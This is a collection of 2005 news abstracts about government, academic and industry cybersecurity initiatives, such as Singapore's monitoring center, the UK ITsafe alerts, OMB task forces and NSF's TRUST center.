Singapore is to spend \$23 million over three years to battle online hackers and other forms of "cyber-terrorism" in one of the world's most connected countries, government officials said Tuesday, February 22. Describing the infrastructure behind the Internet as a "nerve system" in Singapore, Deputy Prime Minister Tony Tan said a new National Cyber-Threat Monitoring Center would maintain round-the-clock detection and analysis of computer virus threats. Singapore has one of the world's highest Internet penetration rates, with 50-60 percent of its 4.2 million people living in homes wired to the Internet. The Cyber-Threat Monitoring Center will link up with companies that provide anti-virus systems and governments running similar centers, including the United States and Australia. It is expected to be fully operational by the second half of 2006.

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-02-24	Britain UK Home Office Internet security hacking groups National Infrastructure Security Coordination Centre NISCC Website

DHS IAIP Daily; <http://www.computerweekly.com/articles/article.asp?liArticleID=136955&liArticleTypeID=1&liCategoryID=2&liChannelID=22&liFlavourID=1&sSearch=&nPage=1>

BRITAIN LAUNCHES INTERNET VIRUS ALERT SERVICE

Britain's Home Office has launched a high-profile campaign to secure the Internet against hacking groups using networks of infected computers to launch worm, spam and denial of service attacks against critical businesses and services. The campaign, which features a Website and an alert service to help non-IT specialists protect their computer systems, is designed to plug one of the weakest links in security on the Internet: home and small business PCs. The campaign will encourage home users and small businesses to sign up to an alert service, run by the National Infrastructure Security Coordination Centre (NISCC), part of the Home Office, which will give advice on urgent threats that affect home PCs, PDAs and mobile phones. Although the service is not designed to replace alert services run by firewall and anti-virus companies, NISSC believes that its links with international IT security organizations will help it to identify new computer threats as quickly as or before commercial alerting services. For more on the new service, visit <http://www.itsafe.gov.uk>

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-02-24	U.K. ITsafe home National Infrastructure Security Coordination Centre personal data government messages mobile devices virus software patches

EDUPAGE; <http://www.pcworld.com/news/article/0,aid,119811,00.asp>

U.K. OFFERS WEB SITE FOR SECURITY ALERTS

A new Web site called ITsafe will send security alerts to home and small-business computer users in the United Kingdom. The National Infrastructure Security Coordination Centre will run the free site, which also offers advice on protecting personal data. The government plans to issue official alerts by e-mail or text messages over mobile devices to users who sign up for the service if a particular virus or other security breach poses a significant threat and users can do something to combat it, such as updating software or downloading security patches. The ITsafe site will not supply either. The Home Office estimates up to 10 security alerts per year based on past experience.

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-03-07	technology companies coordinate efforts compliance Sarbanes-Oxley

EDUPAGE; <http://www.internetnews.com/bus-news/article.php/3487896>

TECH COMPANIES COORDINATE COMPLIANCE EFFORTS

A group of eight leading technology companies has formed a working group to help organizations understand and meet a growing number of technology regulations, including such legislation as the Sarbanes-Oxley Act. Founding members of the Compliance and Management Electronic Information (CMEI) working group include Oracle, HP, Sun Microsystems, and Veritas; the group will begin posting resources on the Internet Law and Policy Forum Web site in the next six months. As technology increasingly underpins business processes, the range of regulations with which a company must comply can be daunting. For example, U.S. regulations require companies to maintain records on former customers for seven years; laws in the United Kingdom, in contrast, require companies to immediately delete information on former customers. The CMEI working group will publish best practices, work to foster communication between businesses and regulatory agencies, and offer resources for companies to help them understand various compliance requirements. Internet News, 7 March 2005

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-03-08	US government Office of Management and Budget OMB six month study information technology IT security function vendor management
DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/35249-1.html	
OMB TO STUDY CONSOLIDATION OF IT SECURITY FUNCTIONS.	
<p>The Office of Management and Budget (OMB) expects this month to launch a six-month study of whether some federal IT security functions could be provided centrally by agencies or commercial vendors. Karen Evans, OMB administrator for e-government and IT, said Tuesday, March 8, at the Government Computer News Cybersecurity Conference in Washington, D.C. that a task force would complete its work by September so that guidance would be available to agencies for the fiscal 2007 budget cycle. The study will apply the Business Reference Model, a function-focused method for describing business operations, to cybersecurity. Each agency has its own security needs and acceptable risk profiles, and the study might not support the use of common providers for IT security, according to Evans. But she said there is enough common need that she doubts there is a good business case for 26 executive branch departments and agencies each going its own way for security. The study is part of a broader move by OMB toward focusing on the outcome of IT security management.</p>	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-03-16	Florida Sarasota County wireless Wi-Fi network security intrusion prevention devices
DHS IAIP Daily; http://www.fcw.com/article88313-03-16-05-Web	
SARASOTA COUNTY, FLORIDA GOVERNMENT SECURES WIRELESS NETWORK.	
<p>Cautious about the security of its wireless network, the Sarasota County, FL government has installed devices in its buildings to detect and prevent wireless intrusion. By using such devices to secure about three million square feet of airspace across 15 of the county's 200 buildings, it is easier for information technology personnel to spot any unauthorized vulnerabilities or attacks on the wireless infrastructure. "We minimize the risk that occurs through these devices," said Bob Hanson, Sarasota County's chief information officer. Hanson said his government has security policies in place, but with considerable employee turnover each year, it's difficult to keep up their education. He said there are almost 5,000 employees in the area covered, and rogue wireless access points are perplexing. Sarasota IT officials can monitor their airspace using a centralized Web-based interface. Rich Swier, CEO of monitoring system company, said that although the benefits of wireless are obvious, it has also created a problem. Before, security personnel only had to worry about security within their facilities. "Now you're having your good guys, your employees and so forth bringing in devices and exposing your network outside your four walls."</p>	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-03-18	European government Internet terror watch team study information sharing police
DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4360727.stm	
EUROPEAN GOVERNMENTS TO FORM INTERNET 'TERROR WATCH' TEAM	
<p>Five European governments are setting up a hi-tech team to monitor how terrorists and criminals use the Internet. The group will make recommendations on shutting down Websites that break terrorism laws. The plans for the initiative came out of a meeting of the G5 interior ministers in Spain that discussed ways to tackle these threats. The five countries also agreed to make it easier to swap data about terror suspects and thefts of explosives. The interior ministers of Spain, Britain, France, Germany and Italy -- the G5 -- met in Granada, Spain last week for an anti-terrorism summit. To combat terrorism the ministers agreed to make it easier for police forces in their respective states to share data about suspects connected to international terror groups. Part of this anti-terror work will involve the creation of the technical team that will keep an eye on how organized crime groups and terrorists make of the web.</p>	

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-03-21	IT security function improvement cybersecurity team meeting Office of Budget and Management OMB

DHS IAIP Daily; http://www.gcn.com/24_6/news/35313-1.html

NEW CYBERSECURITY TEAM MEETS THIS WEEK

The Office of Management and Budget (OMB) has created a task force that this week will begin figuring out how agencies can share cybersecurity functions. The team of senior IT managers will look at training, incident response, disaster recovery, contingency planning and how agencies select security products. The March 23 kick-off meeting will start a six-month study. By September, the group must develop a business case for IT security functions that can be provided centrally by agencies or vendors. OMB wants the new cybersecurity task force to ferret out functions that, if shared or standardized, will mean quick and easy improvements across the government. Karen Evans, OMB's administrator for IT and e-government, said guidance from the task force's findings will be available to agencies for the fiscal 2007 budget cycle. OMB Website: <http://www.whitehouse.gov/omb/>

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-03-24	Federal Bureau of Investigation companies report intrusions management concern security breaches stock prices

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,100598,00.html>

FBI ASKS COMPANIES TO REPORT CYBER INTRUSIONS.

Corporate executives are often reluctant to report network intrusions for fear of having those security breaches made public and drag down stock prices. But state and federal law enforcement officials who spoke at an information security panel in New York on Wednesday, March 23, said such reports can sometimes provide an important missing link in larger cybersecurity investigations. "It may be a critical piece of information you're submitting to us – you never know where that fits into the pie," said Ron Layton, section chief of the cyber coordination branch for the Department of Homeland Security (DHS). Layton was one of several law enforcement officials who spoke at an information security conference sponsored by AIT Global Inc. and InfoWorld Media Group. Network intrusion reports don't necessarily have to fall within the statutory \$5,000 minimum loss for federal authorities to investigate them, said Kent McCarthy, a special agent for the Secret Service in New York. McCarthy said the Secret Service does its best to protect the anonymity of corporations that report network intrusions. "We're not looking for a press release," he said. DHS cyber coordination branch: <http://www.uscert.gov> and Secret Service: <http://www.ustreas.gov/usss/index.shtml>

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-03-28	Internet service providers ISP telecommunications companies alliance attacker information sharing

DHS IAIP Daily;
<http://www.computerworld.com/managementtopics/outsourcing/isptelecom/story/0,10801,100695,00.html>

ISPS AND TELECOMM COMPANIES FORM ALLIANCE TO SHARE DETAILED INFORMATION ON ATTACKERS.

Leading global telecommunications companies, Internet service providers (ISPs) and network operators will begin sharing information on Internet attacks as members of a new group called the Fingerprint Sharing Alliance, according to a published statement from the new group. The companies, including EarthLink, Asia Netcom, British Telecommunications and MCI, will share detailed profile information on attacks launched against their networks. Information to be shared will include the sources of attacks. The alliance will make it easier for service providers and network operators to crack down on global Internet attacks more quickly, according to Tom Schuster, president of Arbor Networks, which launched the new alliance. The alliance replaces an ad hoc system of e-mail messages and phone calls that operators of large networks have used to coordinate their response to attacks and threats, Arbor said. The alliance will make it easier for them to cooperate and will lower the threshold that attacks must surpass to get the attention of ISPs. Even attacks on small ISP customers will prompt a response from large infrastructure providers.

Category 4C5

Academic/Industry/Vendor/Govt efforts

2005-04-05

federal information security improvement CISO Exchange Government Accountability Office GAO

DHS IAIP Daily; <http://www.federaltimes.com/index2.php?S=766429>

GROUP AIMS TO BOOST FEDERAL INFORMATION SECURITY

A group of government and industry executives will meet for the first time this month to map out a strategy for improving the government's information security. The CISO Exchange is comprised of five chief information security officers from various federal agencies, one federal chief security officer, and two executives from information technology companies. It is a privately funded working group that will hold quarterly educational meetings and produce an annual report on the government's information technology security policies and operational issues. The exchange was announced in February by the federal Chief Information Officers Council and Representative Tom Davis from Virginia, chairman of the House Government Reform Committee. They announced the exchange as a way to boost security through educational meetings between chief information security officers and others in government and private industry. The group also will work with the Government Accountability Office and inspector general offices. At least 50 companies have inquired about joining the exchange, said Stephen O'Keeffe, of O'Keeffe & Company, the company managing the meetings. The two fellows on the exchange so far paid \$75,000 apiece, he said.

Category 4C5

Academic/Industry/Vendor/Govt efforts

2005-04-11

National Science Foundation NSF cybersecurity foundation research

DHS IAIP Daily;

[http://www.nsf.gov/news/news_summ.jsp?cntn_id=103178&org=OLP&from=news](http://www.nsf.gov/news/news_summ.jsp?cntn_id=103178&org=OLP&A&from=news)

NATIONAL SCIENCE FOUNDATION ANNOUNCES INTENT TO ESTABLISH CYBERSECURITY CENTER

The National Science Foundation (NSF) has announced it intends to establish two new Science and Technology Centers (STCs) in fiscal 2005. One is a major collaborative cybersecurity project led by the University of California, Berkeley, and a second, centered at the University of Kansas, will study polar ice sheets. The cybersecurity center will investigate key issues of computer trustworthiness in an era of increasing attacks at all levels on computer systems and information-based technologies. The Team for Research in Ubiquitous Secure Technology (TRUST) will address a parallel and accelerating trend of the past decade—the integration of computing and communication across critical infrastructures in areas such as finance, energy distribution, telecommunications and transportation. The center will lead development of new technologies based on findings from studies of software and network security, trusted platforms and applied cryptographic protocols. Formal approval of the new centers, with funding estimated at nearly \$19 million over five years for each center, is still subject to final negotiations between NSF and the lead institutions. UC Berkeley Press Release: http://www.berkeley.edu/news/media/releases/2005/04/11_trust.shtml

Additional information from an article by Daniel S. Levine in the SF Business Times:

- * The project leader will be S. Shankar Sastry, UC Berkeley professor of electrical engineering;
 - * "Other members of the TRUST effort are Carnegie Mellon University, Cornell University, Mills College, San Jose State University, Smith College, Stanford University and Vanderbilt University. The initiative also brings together industrial and other affiliates, including BellSouth, Cisco Systems, ESCHER (a research consortium that includes Boeing, General Motors and Raytheon), Hewlett-Packard, IBM, Intel, Microsoft, Oak Ridge National Laboratory, Qualcomm, Sun Microsystems and Symantec."
-

Category 4C5

Academic/Industry/Vendor/Govt efforts

2005-04-12

NSF funding computer security research Team for Research in Ubiquitous Secure Technology TRUST University of California Berkeley critical infrastructure protection

EDUPAGE; http://www.nytimes.com/cnet/CNET_2100-7349_3-5666782.html

NSF TO FUND COMPUTER SECURITY RESEARCH CENTER

The National Science Foundation (NSF) has awarded a \$19 million grant to create a technology center to study cybersecurity. The project, called the Team for Research in Ubiquitous Secure Technology (TRUST), will be led by the University of California, Berkeley, and will receive the funds over five years. Other higher education institutions participating in the project include Carnegie Mellon University, Cornell University, Mills College, San Jose State University, Smith College, Stanford University, and Vanderbilt University. S. Shankar Sastry, professor of computer sciences at Berkeley and director of TRUST, said, "The cybersecurity community has long feared that it would take an electronic Pearl Harbor for people to realize the scale of disruptions possible from a concerted attack by terrorists." The TRUST project will conduct research into computer security in a variety of industries, specifically addressing the integration of technologies among "critical infrastructures." New York Times, 12 April 2005 (registration req'd)

Category 4C5

Academic/Industry/ Vendor/ Govt efforts

2005-04-14

Chief Information Security Officers CISO Exchange CIO council withdrawal vendor fundraising practices

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml;jsessionid=D4M3LDAZ5RJUCQSNDGCKH0CJUMEKJVN?articleID=160900663>

FEDERAL GOVERNMENT ABANDONS VENDOR-BACKED CYBERSECURITY FORUM

The federal CIO Council is the latest government institution to retreat from the Chief Information Security Officers (CISO) Exchange because of fund-raising practices. Karen Evans, the administration's top IT official, said in a White House statement issued Thursday, April 14, that she accepts the CIO Council's recommendation to withdraw from the CISO Exchange, a privately financed group headed by government IT experts to help develop practices to improve cybersecurity. Evans said she's asking the CIO Council's best-practices committee to develop ways to improve weak cybersecurity scores among federal departments and agencies. Evans' comments came nearly a week after House Reform Committee chairman Tom Davis, R-VA, announced his withdrawal of support for the CISO Exchange because of the way the group solicited money from vendors to support its operations. The CISO Exchange was to hold quarterly education meetings as well as produce a report on federal IT security priorities and operations. CISO Exchange Website: <http://www.cisoexchange.org/>

Category 4C5

Academic/Industry/ Vendor/ Govt efforts

2005-04-15

vendor government cybersecurity focus call Congress legislation information technology CSIA Department of Homeland Security DHS

DHS IAIP Daily; <http://www.nwfusion.com/news/2005/0415vendocall.html>

VENDORS CALL FOR MORE GOVERNMENT CYBERSECURITY FOCUS

The U.S. government needs to get more serious about cybersecurity, but Congress should look at broader ways to combat security problems than focusing on bills that address specific issues such as spam or spyware, a group of executives from IT security product vendors said last week. Members of the Cyber Security Industry Alliance (CSIA), meeting in Washington, DC, Thursday, April 14, repeated their call for Congress to create an assistant secretary for cybersecurity position at the Department of Homeland Security. Members of the year-old CSIA, meeting as a rash of data breaches have been announced in recent months, said they committed this week to helping Congress and administration officials understand cybersecurity issues. While most CSIA executives said they would welcome the right kind of cybersecurity legislation, not all technology companies favor new laws. Private companies should have time to find their own solutions to data breaches and explain their efforts to Congress, said Howard Schmidt, chief security strategist at eBay, during a forum on ID theft at the Washington think tank the Center for Strategic and International Studies Friday, April 15. CSIA Website: <https://www.csialliance.org/home>

Category 4C5

Academic/Industry/ Vendor/ Govt efforts

2005-05-09

Iowa State University ISU computer network Internet attack simulation ISEAGE Department of Justice critical infrastructure protection

DHS IAIP Daily; <http://www.eweek.com/article2/0,1759,1813648,00.asp>

UNIVERSITY LABORATORY STUDIES EFFECTS OF INTERNET ATTACKS

A new test laboratory at Iowa State University (ISU) will allow researchers to study how computer networks respond to massive Internet attacks and could lead to breakthroughs in computer defenses and forensics, said a researcher behind the project. The new test network, ISEAGE (Internet Simulation Event and Attack Generation Environment), was funded by a \$500,000 grant from the Department of Justice. ISEAGE is the first research lab to be able to re-create any cyber-attack on any part of the Internet infrastructure, said Doug Jacobson, director of information assurance at ISU. The guts of the new test lab are software tools, developed by Jacobson, that let researchers change traffic patterns, replay attacks in endless configurations and collect attack data, Jacobson said. "We can make an attack that looks like it came from 1,000 computers, but we don't need 1,000 computers to do it," he said. The testbed can just as easily simulate attacks from 100,000 Internet-connected machines—or from every Internet address in existence, Jacobson said. Researchers will use ISEAGE to model attacks on critical cyber-infrastructure, such as state and federal computer networks.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-05-13 **US House Science Committee DARPA research funding cybersecurity long-term project shift**

EDUPAGE; <http://chronicle.com/prm/daily/2005/05/2005051301t.htm>

HOUSE HEARS DEBATE OVER DARPA FUNDING

The debate over what some describe as a troubling shift in the stance of the Defense Advanced Research Projects Agency (DARPA) for research it chooses to fund moved to the House Science Committee this week. DARPA came under fire from a number of sectors recently when it acknowledged that it would give preference in funding decisions to projects with more immediate results, rather than basic, long-term research with less obvious--but some say more vital--implications for developing new technologies. Critics of the change also said funding for cybersecurity projects was inadequate and should be increased. Joining the academics at the hearing who were critical of DARPA's changed focus was Rep. Sherwood L. Boehlert (R-N.Y.), who expressed his support for basic research and for cybersecurity projects specifically. Anthony J. Tether, director of DARPA, defended his agency, saying that projects of the type described are in fact being funded. In addition, he suggested that funding for certain types of research, such as computer science, is often included in grants supporting other types of research, such as microelectronics. Chronicle of Higher Education, 13 May 2005 (sub. req'd)

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-06-06 **US Department of State cybersecurity awareness month June NSA FBI help**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/35993-1.html

DEPARTMENT OF STATE TO PROMOTE CYBERSECURITY AWARENESS

June is designated as the Department of State's Cybersecurity Awareness Month. Between June 7 and June 29, the Diplomatic Security Bureau's Computer Security Office and the Information Resources Management Bureau's Information Assurance Office will sponsor the project to improve employees' understanding of proper security procedures. The bureaus plan to hold events that will include topics on how to fend off phishing scams and other security risks based on social engineering, a demonstration of how hackers work, explanations of how to become a certified IT professional and information on spyware, antivirus software and other tools. The sessions will feature speakers from the National Security Agency, the FBI, the Agency for International Development and leading technology companies.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-06-20 **Office Management Budget OMB security reporting guidelines FISMA**

DHS IAIP Daily; <http://www.fcw.com/article89321-06-20-05-Web>

OFFICE OF MANAGEMENT AND BUDGET MODIFIES SECURITY REPORTING

The Office of Management and Budget (OMB) has issued new security reporting guidelines that emphasize contractor oversight and data privacy protections. Under the 2005 Federal Information Security Management Act (FISMA) reporting guidelines issued Monday, June 13, agencies will have to answer new questions about data privacy and contractor oversight in reports they must submit to OMB by October 7. When OMB officials added the new questions, they also dropped some old ones. Agencies, for example, will no longer have to report how many times they were victims of a malicious code attack because someone in the agency had not installed a necessary security patch. The new guidelines emphasize that agencies are responsible for ensuring that federal contractors maintain appropriate security controls on equipment used to deliver network or other managed services. The security controls also apply to contractor support staff, government-owned and contractor-operated equipment and contractor-owned equipment in which any federal data is processed or stored. "Agencies must ensure identical, not equivalent security procedures," according to the guidelines. That means agencies must make certain that federal contractors conduct risk assessments, develop contingency plans, certify and accredit their systems and everything else that federal agencies must do to comply with FISMA.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-07-19 **Federal NIST draft standard documents information security seretary FIPS
Publication cost effective program assessment**

DHS IAIP Daily; <http://www.fcw.com/article89611-07-18-05-Web>

NIST OFFICIALS INVITE COMMENT ON DRAFT STANDARD

Computer scientists at the National Institute of Standards and Technology (NIST) have released draft versions of two documents that they consider to be among the most important in a recent series of NIST documents on information security. One is a small publication describing minimum security requirements that will become mandatory after the Commerce Department secretary signs the document, as he is expected to do at the end of this year. That document is "Draft Federal Information Processing Standard (FIPS) Publication 200: Minimum Security Requirements for Federal Information and Information Systems." A second document, "Draft Special Publication 800-53A: Guide for Assessing the Security Controls in Federal Information Systems," is a 152-page guide to developing a cost-effective information security program based on an agency's assessment of its risks. Both documents are meant to help federal agencies secure their information systems and comply with the Federal Information Security Management Act (FISMA) of 2002, NIST officials said.

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-08-01 **annivsary issue RISKS FORUM DIGEST congratulations great work splendid
achievement mazal tov**

RISKS 23 96

20TH ANNIVERSARY OF RISKS!

Congratulations and THANKS to Peter G. Neumann for his stellar work on the RISKS FORUM DIGEST, which reached its 20th anniversary on 1 August 2005. Here's Peter's comment:

>Somehow it escaped my attention when I put out RISKS-23.95 a few minutes ago, that it was exactly the 20th anniversary of the day on which I had put out RISKS-1.01, on 1 Aug 1985 -- using a primitive line-by-line editor on a huge (not-so-)Silent 700 with an acoustic coupler over a very slow cross-country phone line. Since then, the various technologies have of course increased dramatically. Unfortunately, the risks have also -- in that the same kinds of problems still recur with respect to safety, reliability, security, survivability, interoperability, human culpability, and so on, seemingly ad infinitum, combined with the reality that so many more people are now dependent upon computers and their interconnectivity.

I imagine that I won't keep it up for *another* 20 years (for example, I observe that my ratio of puns seems to have declined), but hopefully one (or some) of you will want to continue the tradition when the time comes. It would be a real shame to let the Risks Forum disappear. Even though the same or similar problems keep recurring, there is an important message herein -- and just another reminder of the needs for constant vigilance, increased awareness, better education, and -- above all -- BETTER SYSTEMS.

Cheers to all! PGN<

Category 4C5 Academic/Industry/Vendor/ Govt efforts
2005-08-19 **Germany German government efforts national IT security plan**

DHS IAIP Daily;
http://www.infoworld.com/article/05/08/19/HNgermansecurity_1.html?source=rss&url=http://www.infoworld.com/article/05/08/19/HNgermansecurity_1.html

GERMAN GOVERNMENT LAUNCHES NATIONAL IT SECURITY PLAN

The German government aims to counter the alarming rise in computer viruses with a national IT security plan that includes the establishment of a computer emergency response center. The new plan was unveiled Thursday, August 18, in Berlin by Interior Minister Otto Schily. The German government's "National Plan to Protect IT Infrastructures" has three major focuses: early prevention, swift response and security standards. The Federal Office for Security in Information Technology (BSI) will play a key role. It will be responsible for developing and implementing new security standards in the public sector, and publishing guidelines for the private sector. BSI will also house the computer emergency response center, which will collaborate with providers of IT security services in the private sector. Among the planned tasks of the center: sending e-mail alerts about potential threats and responding to attacks with hotline technical support. The German IT security plan is available in German on the ministry's Website at: http://www.bmi.bund.de/cln_028/nn_122688/Internet/Content/Commen/Anlagen/Nachrichten/Pressemitteilungen/2005/08/Nationaler_Plan_Schutz_Informationsinfrastrukturen,templateId=raw,property=publicationFile.pdf/Nationaler_Plan_Schutz_Informationsinfrastrukturen.

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-08-24	FBI DoJ information sharing IT project criminal investigations
DHS IAIP Daily; http://www.gcn.com/vol1_no1/security/36759-1.html	
DEPARTMENT OF JUSTICE, FBI TO SPUR INFORMATION SHARING	
The FBI and Justice Department plan to accelerate their efforts to consolidate systems and improve sharing of information needed for criminal investigations and prosecutions by launching two major IT projects. The FBI project, known as Next Generation IAFIS, is aimed at upgrading the Integrated Automated Fingerprint Identification System run by the bureau's National Crime Information Center in Clarksburg, WV. Next Generation IAFIS is intended to improve the efficiency of IAFIS' function of matching fingerprint evidence to the bureau's trove of millions of sets of 10-finger images, according to FBI officials and procurement documents. Next Generation IAFIS will also interact with the IDENT fingerprint database run by the Department of Homeland Security's U.S. Visitor and Immigrant Status Indicator Technology system. Justice's Litigation Case Management System (LCMS) project is intended to promote information sharing among the 94 U.S. attorneys' offices and six major divisions at headquarters that bring cases to court. As it stands now, the U.S. attorneys' offices have litigation case management systems that link poorly or not at all with one another and with headquarters systems. National Crime Information Center: http://www.fbi.gov/hq/cjisd/iafis.htm Department of Justice: http://www.usdoj.gov/	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-09-19	information cybersecurity government academia college collaboration Iowa State NSF Center for Information Protection
DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,122596,00.asp	
COLLEGES, GOVERNMENT TEAM ON CYBERSECURITY	
Iowa State University and the U.S. National Science Foundation will join with private businesses to attack cybersecurity problems. The new Center for Information Protection will focus on short-term cybersecurity issues identified by member companies. It also has a to develop new technologies that participants can use to fight common cybersecurity problems.	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-09-19	Iowa State information protection center CIP fund NSF
EDUPAGE; http://www.fcw.com/article90846-09-19-05-Web	
IOWA STATE TO HOST INFORMATION PROTECTION CENTER	
The National Science Foundation (NSF) is providing the initial funding for a new Center for Information Protection (CIP) at Iowa State University. Corporations, security vendors, and academic researchers will work together through the center to develop solutions to short-term security concerns. The center has already attracted 13 charter members, including Boeing, Cargill, Principal Financial Group, Palisade Systems, Iowa State University, and the New Jersey Institute of Technology. The center's goal is to draw 30 corporate members and to develop security solutions in one year or less. Kurt Shedenhelm, chief executive officer and president of Palisade Systems, said the new center differs from similar efforts in its quest for short-term fixes, compared to the five- and ten-year cycles of other initiatives. The NSF will continue to provide funding for three years, at which time the center can apply for further funds; organizers hope the center can be self-sustaining in five years. Federal Computer Week, 19 September 2005	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/ Govt efforts</i>
2005-09-20	Pennsylvania Penn State University peer-to-peer P2P academic use project pilot tests successful
EDUPAGE; http://chronicle.com/daily/2005/09/2005092001t.htm	
PENN STATE DEBUTS P2P FOR ACADEMIC PURPOSES	
A new application developed at Pennsylvania State University at University Park puts P2P technology to use in academic pursuits. Funded in part by a \$1.1 million grant from the Andrew W. Mellon Foundation, LionShare allows users to search for and access files on other users' computers, similar to P2P applications that have opened the door to a wide range of copyright violations. LionShare, in contrast, is designed for academic purposes, including sharing very large files and other educational materials among approved users. For example, faculty can restrict usage to students registered in their classes. In addition, users can attach keywords and other metadata to files, making them easier to locate and organize. Pilot tests of LionShare have been successful. Michael J. Halm, senior strategist for Penn State's Teaching and Working With Technology office, said that in courses where LionShare was used, although faculty are driving the usage of the tool, students have said they would "definitely use it too" in classes where it was available. The application will be available free from Penn State. Chronicle of Higher Education, 20 September 2005 (sub. req'd)	

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-09-28	cybersecurity firms business tax break US government effort Congress incentive security

DHS IAIP Daily; http://www.nytimes.com/cnet/CNET_2100-7348_3-5884149.html

TAX BREAKS FOR CYBERSECURITY FIRMS?

Congress may start offering tax breaks to companies that adopt good cybersecurity standards. Dan Lungren, chair of the U.S. House of Representatives cybersecurity subcommittee, is working on an "overall view of ways we can work with the private sector" to develop cybersecurity tools, including the possibility of creating an incentive-based system. Andy Purdy, acting director of the Department of Homeland Security's National Cybersecurity Division, said in a speech that his agency is also working closely with the private sector to equip itself for responding to cyberattacks.

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-10-18	Schools cyberattack data colleges universities assessment project U.S. Department of Justice New York firewall intrusion reports networks

DHS IAIP Daily;
http://news.com.com/Schools+get+tailored+cyberattack+data/2100-7347_3-5900684.html?tag=cd.top

SCHOOLS GET TAILORED CYBERATTACK DATA

U.S. colleges and universities are getting a service that analyzes security data to help fend off cyberattacks. According to Steffani Burd, the executive director of Information Security in Academic Institutions, "The goal is to have an accurate assessment of information security in academic institutions." The project is sponsored by the research arm of the U.S. Department of Justice and run by Columbia University's Teachers College in New York. Academic organizations will be expected to submit logs from their firewall and intrusion detection systems so the service can parse the data and generate reports on attacks. Those reports can then be used to protect networks. Johannes Ullrich, the chief research officer at the SANS Institute and founder of DShield.org states, "Academic institutions face the challenge of maintaining an open network while also providing security for their users. This data will help them decide what protection to deploy while minimizing restrictions."

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-10-25	OMB IT cybersecurity security training reporting situational awareness incidence response lifecycle security solutions

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37418-1.html

OFFICE OF MANAGEMENT AND BUDGET TO IMPROVE IT SECURITY NEXT FISCAL YEAR

The Office of Management and Budget (OMB) plans to set up several lines of business for IT security in the next fiscal year. A "line of business" is a necessary business function that typically is outside of agencies' primary missions, such as cybersecurity. Rather than have each agency duplicate non-essential functions, OMB designates agencies with expertise in these areas to provide them to other agencies on a fee-for-service basis. Four problem areas will be addressed: (1) security training: to standardize security processes, develop common criteria, and help provide a career path for information security professionals; (2) Federal Information Security Management Act reporting: to standardize reporting processes and help ensure consistent and effective IT program management; (3) situational awareness and incident response: to improve the sharing of information about IT vulnerabilities and threats and provide resources for responding to security incidents; and (4) lifecycle security solutions: to provide a methodology for evaluating security tools. The program will not replace existing IT security programs and resources, such as the U.S.-Computer Emergency Readiness Team. According to OMB estimates, federal spending on security has been static, at about \$4.2 billion a year for the last three years, while total IT spending has been slowly growing.

<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-10-27	US administration information technology IT system agency consolidation
DHS IAIP Daily; http://fcw.com/article91215-10-27-05-Web	
ADMINISTRATION TO CONSOLIDATE INFORMATION TECHNOLOGY SYSTEMS ACROSS AGENCIES	
According to Karen Evans, the Office of Management and Budget's administrator for e-government and information technology, the government is looking to consolidate information technology systems and turn them into a "utility" instead of keeping them agency-specific. Rather than restricting IT to individual agencies, IT should be seen as an enterprise, she told members attending the Government Electronics and Information Technology Association (GEIA IT). A recent example is that during the recent hurricane disasters along the Gulf Coast, a number of e-government initiatives were tapped to keep government agencies operational: the Coast Guard and the Transportation Security Administration used the National Finance Center and epayroll.gov to make sure 67,000 customers were paid, and USAService.gov helped the Federal Emergency Management Agency add call centers and handle over one million calls.	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-10-27	PC United Kingdom National Hi-Tech Crime Unit IT BT Dell eBay HSBC Lloyds TSB Microsoft MessageLabs securetrading Yell
DHS IAIP Daily; http://www.getsafeonline.org/	
PC AWARENESS PROGRAM LAUNCHED IN THE UNITED KINGDOM	
The UK's National Hi-Tech Crime Unit has teamed with the IT industry to launch an awareness program to increase understanding about PC security. The program, "Get Safe Online," is a joint initiative among the government, the National Hi-Tech Crime Unit, and private sector sponsors including BT, Dell, eBay, HSBC, Lloyds TSB, Microsoft, MessageLabs, securetrading.com, and Yell.com. A report released to coincide with the program's launch found that over three quarters of the UK's population (83 percent) don't know enough about protecting themselves online, and that 42 percent of the population just rely on friends and family for online safety advice rather than finding expert information for themselves.	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-11-04	government accounting office GAO report Internet Management Prevalence of False Contact Information for Registered Domain Names
DHS IAIP Daily; http://www.gao.gov/new.items/d06165.pdf	
INTERNET MANAGEMENT: PREVALENCE OF FALSE CONTACT INFORMATION FOR REGISTERED DOMAIN NAMES (REPORT)	
